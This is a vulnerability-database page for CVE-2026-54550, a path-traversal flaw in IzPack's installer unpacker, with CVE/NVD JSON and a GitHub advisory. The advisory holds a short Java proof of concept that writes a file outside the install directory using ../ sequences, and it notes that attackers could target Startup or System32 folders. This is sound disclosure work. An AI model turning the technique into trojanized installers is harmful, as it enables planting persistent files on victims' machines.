Vulnerability-Lookup

CVE-2026-54550 (GCVE-0-2026-54550)

Vulnerability from cvelistv5 – Published: 2026-08-26 14:24 – Updated: 2026-08-26 15:37

Title

IzPack: Path Traversal in UnpackerBase allows writing files outside the installation directory via malicious pack entries

Summary

IzPack is a widely used tool for packaging applications on the Java platform as cross-platform installers. In 5.2.6 and earlier, UnpackerBase.unpack() in izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java obtains an attacker-controlled PackFile targetPath, passes it through IoHelper.translatePath(), which only converts separators, and constructs a File without normalizing parent-directory segments or enforcing destination containment. A malicious installer pack entry containing ../ sequences can therefore write outside the intended installation directory to startup folders, executable search paths, or other locations accessible with the victim's privileges when the victim runs the installer.

Severity

7.4 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-26 15:36 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/izpack/izpack/security/advisor…	x_refsource_CONFIRM
https://github.com/izpack/izpack/pull/1193	x_refsource_MISC
https://github.com/izpack/izpack/commit/4233ba38d…	x_refsource_MISC
https://github.com/izpack/izpack/commit/8b7c6792c…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
izpack	izpack	Affected: <= 5.2.6	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54550",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-26T15:36:54.267935Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-26T15:37:00.917Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/izpack/izpack/security/advisories/GHSA-f63g-88cj-hjf9"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "izpack",
          "vendor": "izpack",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 5.2.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "IzPack is a widely used tool for packaging applications on the Java platform as cross-platform installers. In 5.2.6 and earlier, UnpackerBase.unpack() in izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java obtains an attacker-controlled PackFile targetPath, passes it through IoHelper.translatePath(), which only converts separators, and constructs a File without normalizing parent-directory segments or enforcing destination containment. A malicious installer pack entry containing ../ sequences can therefore write outside the intended installation directory to startup folders, executable search paths, or other locations accessible with the victim\u0027s privileges when the victim runs the installer."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-26T14:24:06.879Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/izpack/izpack/security/advisories/GHSA-f63g-88cj-hjf9",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/izpack/izpack/security/advisories/GHSA-f63g-88cj-hjf9"
        },
        {
          "name": "https://github.com/izpack/izpack/pull/1193",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/izpack/izpack/pull/1193"
        },
        {
          "name": "https://github.com/izpack/izpack/commit/4233ba38d0f1825f9cf3e0204e5261a5498e29d8",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/izpack/izpack/commit/4233ba38d0f1825f9cf3e0204e5261a5498e29d8"
        },
        {
          "name": "https://github.com/izpack/izpack/commit/8b7c6792c4fe85e3b1759c106aae39b904848466",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/izpack/izpack/commit/8b7c6792c4fe85e3b1759c106aae39b904848466"
        }
      ],
      "source": {
        "advisory": "GHSA-f63g-88cj-hjf9",
        "discovery": "UNKNOWN"
      },
      "title": "IzPack: Path Traversal in UnpackerBase allows writing files outside the installation directory via malicious pack entries"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54550",
    "datePublished": "2026-08-26T14:24:06.879Z",
    "dateReserved": "2026-06-15T19:04:14.456Z",
    "dateUpdated": "2026-08-26T15:37:00.917Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-54550\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-26T15:16:49.223\",\"lastModified\":\"2026-08-26T16:16:27.500\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"IzPack is a widely used tool for packaging applications on the Java platform as cross-platform installers. In 5.2.6 and earlier, UnpackerBase.unpack() in izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java obtains an attacker-controlled PackFile targetPath, passes it through IoHelper.translatePath(), which only converts separators, and constructs a File without normalizing parent-directory segments or enforcing destination containment. A malicious installer pack entry containing ../ sequences can therefore write outside the intended installation directory to startup folders, executable search paths, or other locations accessible with the victim\u0027s privileges when the victim runs the installer.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"izpack\",\"product\":\"izpack\",\"versions\":[{\"version\":\"\u003c= 5.2.6\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N\",\"baseScore\":7.4,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"REQUIRED\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":4.0}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-08-26T15:36:54.267935Z\",\"id\":\"CVE-2026-54550\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-22\"}]}],\"references\":[{\"url\":\"https://github.com/izpack/izpack/commit/4233ba38d0f1825f9cf3e0204e5261a5498e29d8\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/izpack/izpack/commit/8b7c6792c4fe85e3b1759c106aae39b904848466\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/izpack/izpack/pull/1193\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/izpack/izpack/security/advisories/GHSA-f63g-88cj-hjf9\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/izpack/izpack/security/advisories/GHSA-f63g-88cj-hjf9\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-54550\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-08-26T15:36:54.267935Z\"}}}], \"references\": [{\"url\": \"https://github.com/izpack/izpack/security/advisories/GHSA-f63g-88cj-hjf9\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-08-26T15:36:37.919Z\"}}], \"cna\": {\"title\": \"IzPack: Path Traversal in UnpackerBase allows writing files outside the installation directory via malicious pack entries\", \"source\": {\"advisory\": \"GHSA-f63g-88cj-hjf9\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 7.4, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"izpack\", \"product\": \"izpack\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c= 5.2.6\"}]}], \"references\": [{\"url\": \"https://github.com/izpack/izpack/security/advisories/GHSA-f63g-88cj-hjf9\", \"name\": \"https://github.com/izpack/izpack/security/advisories/GHSA-f63g-88cj-hjf9\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/izpack/izpack/pull/1193\", \"name\": \"https://github.com/izpack/izpack/pull/1193\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/izpack/izpack/commit/4233ba38d0f1825f9cf3e0204e5261a5498e29d8\", \"name\": \"https://github.com/izpack/izpack/commit/4233ba38d0f1825f9cf3e0204e5261a5498e29d8\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/izpack/izpack/commit/8b7c6792c4fe85e3b1759c106aae39b904848466\", \"name\": \"https://github.com/izpack/izpack/commit/8b7c6792c4fe85e3b1759c106aae39b904848466\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"IzPack is a widely used tool for packaging applications on the Java platform as cross-platform installers. In 5.2.6 and earlier, UnpackerBase.unpack() in izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java obtains an attacker-controlled PackFile targetPath, passes it through IoHelper.translatePath(), which only converts separators, and constructs a File without normalizing parent-directory segments or enforcing destination containment. A malicious installer pack entry containing ../ sequences can therefore write outside the intended installation directory to startup folders, executable search paths, or other locations accessible with the victim\u0027s privileges when the victim runs the installer.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-22\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-08-26T14:24:06.879Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-54550\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-08-26T15:37:00.917Z\", \"dateReserved\": \"2026-06-15T19:04:14.456Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-08-26T14:24:06.879Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-54550

Vulnerability from fkie_nvd - Published: 2026-08-26 15:16 - Updated: 2026-08-26 16:16

Severity

7.4 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/izpack/izpack/commit/4233ba38d0f1825f9cf3e0204e5261a5498e29d8
	security-advisories@github.com	https://github.com/izpack/izpack/commit/8b7c6792c4fe85e3b1759c106aae39b904848466
	security-advisories@github.com	https://github.com/izpack/izpack/pull/1193
	security-advisories@github.com	https://github.com/izpack/izpack/security/advisories/GHSA-f63g-88cj-hjf9
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/izpack/izpack/security/advisories/GHSA-f63g-88cj-hjf9

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "izpack",
          "vendor": "izpack",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 5.2.6"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "IzPack is a widely used tool for packaging applications on the Java platform as cross-platform installers. In 5.2.6 and earlier, UnpackerBase.unpack() in izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java obtains an attacker-controlled PackFile targetPath, passes it through IoHelper.translatePath(), which only converts separators, and constructs a File without normalizing parent-directory segments or enforcing destination containment. A malicious installer pack entry containing ../ sequences can therefore write outside the intended installation directory to startup folders, executable search paths, or other locations accessible with the victim\u0027s privileges when the victim runs the installer."
    }
  ],
  "id": "CVE-2026-54550",
  "lastModified": "2026-08-26T16:16:27.500",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.4,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54550",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-26T15:36:54.267935Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-26T15:16:49.223",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/izpack/izpack/commit/4233ba38d0f1825f9cf3e0204e5261a5498e29d8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/izpack/izpack/commit/8b7c6792c4fe85e3b1759c106aae39b904848466"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/izpack/izpack/pull/1193"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/izpack/izpack/security/advisories/GHSA-f63g-88cj-hjf9"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/izpack/izpack/security/advisories/GHSA-f63g-88cj-hjf9"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-F63G-88CJ-HJF9

Vulnerability from github – Published: 2026-08-26 14:24 – Updated: 2026-08-26 14:24

Summary

IzPack has Path Traversal in UnpackerBase that allows writing files outside the installation directory via malicious pack entries

Details

Summary

IzPack's UnpackerBase.unpack() resolves pack-file target paths without any canonical-path or directory-containment check. An attacker who distributes a trojanized installer JAR (the format is unsigned) can include pack entries whose targetPath contains ../ sequences. When a victim runs the installer the file is written to an attacker-chosen location on disk under the victim's privileges — including startup folders, PATH directories, or system locations.

Details

Vulnerable method: com.izforge.izpack.installer.unpacker.UnpackerBase.unpack() Source file: izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java Vulnerable lines (5.2.4): ~618–627

The relevant code path is:

String targetPath = packFile.getTargetPath();             // attacker-controlled
String path       = IoHelper.translatePath(targetPath, variables); // separator swap ONLY
File   target     = new File(path);                       // no canonical check
// ... mkdirs() then file is written to `target`

IoHelper.translatePath() (source: izpack-util/.../IoHelper.java) performs only file-separator character conversion ('/' ↔ File.separatorChar) and contains no security validation whatsoever. There is no call to getCanonicalPath(), no startsWith(installDir) containment check, and no normalisation of .. segments.

Because IzPack installer JARs carry no digital signature, an attacker can repack any legitimate installer with malicious PackFile entries. The file format is a standard ZIP with serialised resources — no integrity protection.

Confirmed unpatched in HEAD (fetched from GitHub, 2025):

git show HEAD:izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java \
  | grep -n 'getCanonicalPath\|startsWith.*install\|traversal'
# (no output — fix not present)

PoC

# 1. Clone IzPack source and view the vulnerable code directly
git clone --depth=1 --branch izpack-5.2.4 https://github.com/izpack/izpack.git
sed -n '615,650p' izpack/izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java

# 2. Compile and run the following Java reproducer (no IzPack classpath needed):

// TestPathTraversal.java
import java.io.*;

public class TestPathTraversal {
    // Exact replication of IoHelper.translatePath() — separator swap, no security
    static String translatePath(String destination) {
        return destination.replace('/', File.separatorChar);
    }

    public static void main(String[] args) throws Exception {
        String installDir   = "/tmp/izpack_install";
        String maliciousPath = installDir + "/../../../tmp/ESCAPED_FILE";

        // This is what UnpackerBase does:
        String path   = translatePath(maliciousPath);
        File   target = new File(path);           // resolves traversal
        target.getParentFile().mkdirs();
        try (FileWriter fw = new FileWriter(target)) {
            fw.write("Written outside install dir via IzPack path traversal\n");
        }
        System.out.println("File written to: " + target.getCanonicalPath());
        System.out.println("Inside installDir: " +
            target.getCanonicalPath().startsWith(new File(installDir).getCanonicalPath()));
    }
}

javac TestPathTraversal.java && java TestPathTraversal
# Output: File written to: /tmp/ESCAPED_FILE
#         Inside installDir: false

Impact

Any user who runs an IzPack-generated installer is affected. The attacker only needs to distribute a repackaged installer — a common social-engineering vector. On Windows (the primary IzPack platform) the victim typically runs the installer as a local administrator, so the attacker can write to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, %SystemRoot%\System32, or any other location reachable by the victim user. On Linux/macOS the same applies for user-writable locations.

No authentication, no special privileges and no interaction beyond running the installer are required on the victim side.

Credits

This issue was identified by Michał Majchrowicz, Marcin Wyczechowski, and Paweł Zdunek, members of the AFINE Team.

Severity

7.4 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.codehaus.izpack:izpack-installer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54550"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-26T14:24:40Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nIzPack\u0027s `UnpackerBase.unpack()` resolves pack-file target paths without any\ncanonical-path or directory-containment check. An attacker who distributes a\ntrojanized installer JAR (the format is unsigned) can include pack entries whose\n`targetPath` contains `../` sequences. When a victim runs the installer the\nfile is written to an attacker-chosen location on disk under the victim\u0027s\nprivileges \u2014 including startup folders, PATH directories, or system locations.\n\n### Details\n\n**Vulnerable method:** `com.izforge.izpack.installer.unpacker.UnpackerBase.unpack()`\n**Source file:** `izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java`\n**Vulnerable lines (5.2.4):** ~618\u2013627\n\nThe relevant code path is:\n\n```java\nString targetPath = packFile.getTargetPath();             // attacker-controlled\nString path       = IoHelper.translatePath(targetPath, variables); // separator swap ONLY\nFile   target     = new File(path);                       // no canonical check\n// ... mkdirs() then file is written to `target`\n```\n\n`IoHelper.translatePath()` (source: `izpack-util/.../IoHelper.java`) performs\n**only** file-separator character conversion (`\u0027/\u0027` \u2194 `File.separatorChar`) and\ncontains no security validation whatsoever. There is no call to\n`getCanonicalPath()`, no `startsWith(installDir)` containment check, and no\nnormalisation of `..` segments.\n\nBecause IzPack installer JARs carry **no digital signature**, an attacker can\nrepack any legitimate installer with malicious `PackFile` entries. The file\nformat is a standard ZIP with serialised resources \u2014 no integrity protection.\n\n**Confirmed unpatched in HEAD (fetched from GitHub, 2025):**\n```\ngit show HEAD:izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java \\\n  | grep -n \u0027getCanonicalPath\\|startsWith.*install\\|traversal\u0027\n# (no output \u2014 fix not present)\n```\n\n### PoC\n\n```bash\n# 1. Clone IzPack source and view the vulnerable code directly\ngit clone --depth=1 --branch izpack-5.2.4 https://github.com/izpack/izpack.git\nsed -n \u0027615,650p\u0027 izpack/izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java\n\n# 2. Compile and run the following Java reproducer (no IzPack classpath needed):\n```\n\n```java\n// TestPathTraversal.java\nimport java.io.*;\n\npublic class TestPathTraversal {\n    // Exact replication of IoHelper.translatePath() \u2014 separator swap, no security\n    static String translatePath(String destination) {\n        return destination.replace(\u0027/\u0027, File.separatorChar);\n    }\n\n    public static void main(String[] args) throws Exception {\n        String installDir   = \"/tmp/izpack_install\";\n        String maliciousPath = installDir + \"/../../../tmp/ESCAPED_FILE\";\n\n        // This is what UnpackerBase does:\n        String path   = translatePath(maliciousPath);\n        File   target = new File(path);           // resolves traversal\n        target.getParentFile().mkdirs();\n        try (FileWriter fw = new FileWriter(target)) {\n            fw.write(\"Written outside install dir via IzPack path traversal\\n\");\n        }\n        System.out.println(\"File written to: \" + target.getCanonicalPath());\n        System.out.println(\"Inside installDir: \" +\n            target.getCanonicalPath().startsWith(new File(installDir).getCanonicalPath()));\n    }\n}\n```\n\n```bash\njavac TestPathTraversal.java \u0026\u0026 java TestPathTraversal\n# Output: File written to: /tmp/ESCAPED_FILE\n#         Inside installDir: false\n```\n\n### Impact\n\nAny user who runs an IzPack-generated installer is affected. The attacker only\nneeds to distribute a repackaged installer \u2014 a common social-engineering vector.\nOn Windows (the primary IzPack platform) the victim typically runs the installer\nas a local administrator, so the attacker can write to `%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`,\n`%SystemRoot%\\System32`, or any other location reachable by the victim user.\nOn Linux/macOS the same applies for user-writable locations.\n\nNo authentication, no special privileges and no interaction beyond running the\ninstaller are required on the victim side.\n\n### Credits\nThis issue was identified by Micha\u0142 Majchrowicz, Marcin Wyczechowski, and Pawe\u0142 Zdunek, members of the AFINE Team.",
  "id": "GHSA-f63g-88cj-hjf9",
  "modified": "2026-08-26T14:24:40Z",
  "published": "2026-08-26T14:24:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/izpack/izpack/security/advisories/GHSA-f63g-88cj-hjf9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/izpack/izpack/pull/1193"
    },
    {
      "type": "WEB",
      "url": "https://github.com/izpack/izpack/commit/4233ba38d0f1825f9cf3e0204e5261a5498e29d8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/izpack/izpack/commit/8b7c6792c4fe85e3b1759c106aae39b904848466"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/izpack/izpack"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "IzPack has Path Traversal in UnpackerBase that allows writing files outside the installation directory via malicious pack entries"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-54550 (GCVE-0-2026-54550)

FKIE_CVE-2026-54550

GHSA-F63G-88CJ-HJF9

Summary

Details

PoC

Impact

Credits

Tags

Sightings

Nomenclature